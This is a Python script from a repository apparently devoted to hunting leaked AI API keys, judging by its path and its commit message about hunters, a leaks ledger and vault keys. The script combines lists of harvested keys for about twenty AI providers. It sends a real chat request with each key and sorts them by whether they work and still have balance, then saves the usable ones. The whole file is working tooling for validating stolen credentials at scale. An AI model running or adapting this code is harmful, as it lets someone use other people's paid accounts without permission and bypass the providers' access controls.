Files
hack/tools/scripts/llm-key-hunter/deep_verify.py
T
OpenCode 68a9071cf1 feat: reconcile local master with origin (exa/hot-platform hunters, leaks ledger, latest results)
Local branch had diverged from origin/master (sibling commits on the same base). Rewrote local history linearly on top of origin/master, folding in all local content: exa/hot-platform discovery hunters, leaks ledger, nightly sweep orchestrator, updated .gitignore and skill docs, plus the latest hunt output and vault state. Remote-only files (vault keys, channel scripts) were restored rather than dropped, so the resulting tree is a full union of both sides.
2026-08-07 12:53:47 +08:00

341 lines
15 KiB
Python

#!/usr/bin/env python3
"""Combine old + new live keys, filter false positives, and run deep verification.
Uses urllib instead of spawning curl subprocesses per key.
"""
import time
import json
import sys
import argparse
import urllib.request
import urllib.error
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
from collections import defaultdict
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
RESULTS_DIR = Path(__file__).parent / "results"
OLD_LIVE = RESULTS_DIR / "live_keys_raw.txt.bak"
NEW_LIVE = RESULTS_DIR / "live_keys_raw.txt"
COMBINED_LIVE = RESULTS_DIR / "live_keys_combined.txt"
DEEP_USABLE = RESULTS_DIR / "deep_verify" / "usable.txt"
DEEP_NOBAL = RESULTS_DIR / "deep_verify" / "valid_no_balance.txt"
DEEP_NOACC = RESULTS_DIR / "deep_verify" / "valid_no_access.txt"
DEEP_DEAD = RESULTS_DIR / "deep_verify" / "dead.txt"
# ── Deep verify configs ──────────────────────────────────────
DEEP_CONFIGS = {
"OpenAI": {
"url": "https://api.openai.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Anthropic": {
"url": "https://api.anthropic.com/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-3-5-haiku-20241022","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Google": {
"url": "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash:generateContent?key={key}",
"headers": {"Content-Type": "application/json"},
"body": '{"contents":[{"parts":[{"text":"hi"}]}],"generationConfig":{"maxOutputTokens":1}}',
},
"Groq": {
"url": "https://api.groq.com/openai/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"llama-3.1-8b-instant","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"DeepSeek": {
"url": "https://api.deepseek.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"deepseek-chat","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"OpenRouter": {
"url": "https://openrouter.ai/api/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"meta-llama/llama-3.1-8b-instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Replicate": {
"url": "https://api.replicate.com/v1/account",
"headers": {"Authorization": "Token {key}"},
"body": None,
},
"Perplexity": {
"url": "https://api.perplexity.ai/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"llama-3.1-8b-online","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"DashScope": {
"url": "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"qwen-plus","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Moonshot": {
"url": "https://api.moonshot.cn/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"moonshot-v1-8k","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"VolcanoArk": {
"url": "https://ark.cn-beijing.volces.com/api/v3/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
"fallback": {
"url": "https://ark.cn-beijing.volces.com/api/coding/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
},
"ZhipuAI": {
"url": "https://open.bigmodel.cn/api/paas/v4/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"TogetherAI": {
"url": "https://api.together.xyz/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"meta-llama/Llama-3.2-3B-Instruct-Turbo","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"LingyiWanwu": {
"url": "https://api.lingyiwanwu.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"yi-large","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"StepFun": {
"url": "https://api.stepfun.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"step-1-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"SiliconFlow": {
"url": "https://api.siliconflow.cn/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"Qwen/Qwen2.5-7B-Instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"HuggingFace": {
"url": "https://huggingface.co/api/whoami-v2",
"headers": {"Authorization": "Bearer {key}"},
"body": None,
},
"OllamaCloud": {
"url": "https://api.ollama.com/api/chat",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"gemma4:31b","messages":[{"role":"user","content":"hi"}],"stream":false}',
},
"LongCat": {
"url": "https://api.longcat.chat/openai/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"MiniMax": {
"url": "https://api.minimaxi.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"FreeModel": {
"url": "https://cc.freemodel.dev/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
"fallback": {
"url": "https://api.freemodel.dev/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
},
"XKiro": {
"url": "https://api.xkiro.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"anthropic/claude-sonnet-4-5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
}
def _http_request(url, headers, body):
"""Send an HTTP request and return (status_code, response_body)."""
data = body.encode() if body else None
req = urllib.request.Request(url, data=data, headers=headers, method="POST" if body else "GET")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return 0, ""
def deep_verify(provider, key):
"""Send actual chat completion, return USABLE/NO_BALANCE/NO_ACCESS/DEAD."""
if provider not in DEEP_CONFIGS:
return "SKIP"
cfg = DEEP_CONFIGS[provider]
url = cfg["url"].replace("{key}", key)
headers = {hname: hval.replace("{key}", key) for hname, hval in cfg["headers"].items()}
code, body = _http_request(url, headers, cfg.get("body"))
# Check for fallback (VolcanoArk coding plan, FreeModel)
if code != 200 and "fallback" in cfg:
fcfg = cfg["fallback"]
furl = fcfg["url"].replace("{key}", key)
fheaders = {hname: hval.replace("{key}", key) for hname, hval in fcfg["headers"].items()}
code, body = _http_request(furl, fheaders, fcfg.get("body"))
if code == 200:
bl = body.lower()
if "error" in bl and ("balance" in bl or "quota" in bl or "arrearage" in bl):
return "NO_BALANCE"
return "USABLE"
elif code in (402, 429):
return "NO_BALANCE"
elif code == 404:
if "invalid" in body.lower() or "unauthorized" in body.lower():
return "DEAD"
return "NO_ACCESS"
elif code in (401, 403):
return "DEAD"
elif code == 400:
bl = body.lower()
if any(x in bl for x in ["arrearage", "insufficient", "balance", "overdue", "payment"]):
return "NO_BALANCE"
elif any(x in bl for x in ["suspended", "limit", "quota", "rate"]):
return "NO_BALANCE"
else:
return "NO_ACCESS"
else:
return "UNKNOWN" if code else "DEAD"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=20)
ap.add_argument("--limit", type=int, default=0,
help="max keys to verify (0 = all)")
ap.add_argument("--providers", default="all",
help="comma list of providers to verify, or 'all'")
ap.add_argument("--no-cache", action="store_true")
args = ap.parse_args()
# ── Combine old + new live keys ──────────────────────────
all_keys = {} # (provider, key) -> (url, desc)
for filepath in [OLD_LIVE, NEW_LIVE]:
if not filepath.exists():
continue
with open(filepath) as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("|")
if parts[0] == "LIVE" and len(parts) >= 4:
provider, key, url = parts[1], parts[2], parts[3]
desc = parts[4] if len(parts) > 4 else ""
elif len(parts) >= 3:
provider, key, url = parts[0], parts[1], parts[2]
desc = parts[3] if len(parts) > 3 else ""
else:
continue
if not provider or not key:
continue
# Filter out obvious fake/mock keys
if any(x in key.lower() for x in ["mock", "xxxx", "your-", "example", "test-key", "placeholder"]):
continue
# Filter OpenRouter (all dead, public models endpoint)
if provider == "OpenRouter":
continue
k = (provider, key)
if k not in all_keys:
all_keys[k] = (url, desc)
print(f"Combined live keys: {len(all_keys)} (filtered fakes + OpenRouter)")
# Write combined
with open(COMBINED_LIVE, "w") as f:
for (provider, key), (url, desc) in sorted(all_keys.items()):
f.write(f"LIVE|{provider}|{key}|{url}|{desc}\n")
# Summary by provider
by_provider = defaultdict(int)
for (provider, key) in all_keys:
by_provider[provider] += 1
print("\nBy provider:")
for p in sorted(by_provider):
print(f" {p:20s}: {by_provider[p]}")
# ── Deep verify ──────────────────────────────────────────
to_verify = [(p, k, u, d) for (p, k), (u, d) in all_keys.items()
if p in DEEP_CONFIGS]
if args.providers != "all":
want = set(x.strip() for x in args.providers.split(","))
to_verify = [t for t in to_verify if t[0] in want]
if args.limit:
to_verify = to_verify[:args.limit]
print(f"\nDeep verifying {len(to_verify)} keys...")
results = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "DEAD": [], "SKIP": [], "UNKNOWN": []}
processed = 0
start = time.time()
# Cache key = "Provider::key" — verdicts persist across nightly runs
# (DEAD forever, NO_BALANCE/NO_ACCESS 6h, USABLE 30m via verify_cache).
with CachedVerifier("deep_verify",
lambda ck: (deep_verify(*ck.split("::", 1)), ""),
force=args.no_cache) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futures = {pool.submit(ver, f"{p}::{k}"): (p, k, u, d)
for p, k, u, d in to_verify}
for future in as_completed(futures):
p, k, u, d = futures[future]
processed += 1
try:
result, _detail = future.result()
except Exception:
result = "DEAD"
results[result].append((p, k, u, d))
if processed % 50 == 0:
elapsed = time.time() - start
print(f" [{processed}/{len(to_verify)}] usable={len(results['USABLE'])} "
f"nobal={len(results['NO_BALANCE'])} dead={len(results['DEAD'])} "
f"({processed/elapsed:.0f}/s)")
elapsed = time.time() - start
print(f"\nDone in {elapsed:.1f}s")
print(f" USABLE: {len(results['USABLE'])}")
print(f" NO_BALANCE: {len(results['NO_BALANCE'])}")
print(f" NO_ACCESS: {len(results['NO_ACCESS'])}")
print(f" DEAD: {len(results['DEAD'])}")
print(f" SKIP: {len(results['SKIP'])}")
print(f" UNKNOWN: {len(results['UNKNOWN'])}")
# Write results
for category, filepath in [
("USABLE", DEEP_USABLE),
("NO_BALANCE", DEEP_NOBAL),
("NO_ACCESS", DEEP_NOACC),
("DEAD", DEEP_DEAD),
]:
with open(filepath, "w") as f:
for p, k, u, d in sorted(results[category]):
f.write(f"{p}|{k}|{u}|{d}\n")
# Print usable keys by provider
print("\n=== USABLE keys by provider ===")
usable_by_provider = defaultdict(int)
for p, k, u, d in results["USABLE"]:
usable_by_provider[p] += 1
for p in sorted(usable_by_provider):
print(f" {p:20s}: {usable_by_provider[p]}")
print(f"\nUsable keys written to: {DEEP_USABLE}")
if __name__ == "__main__":
main()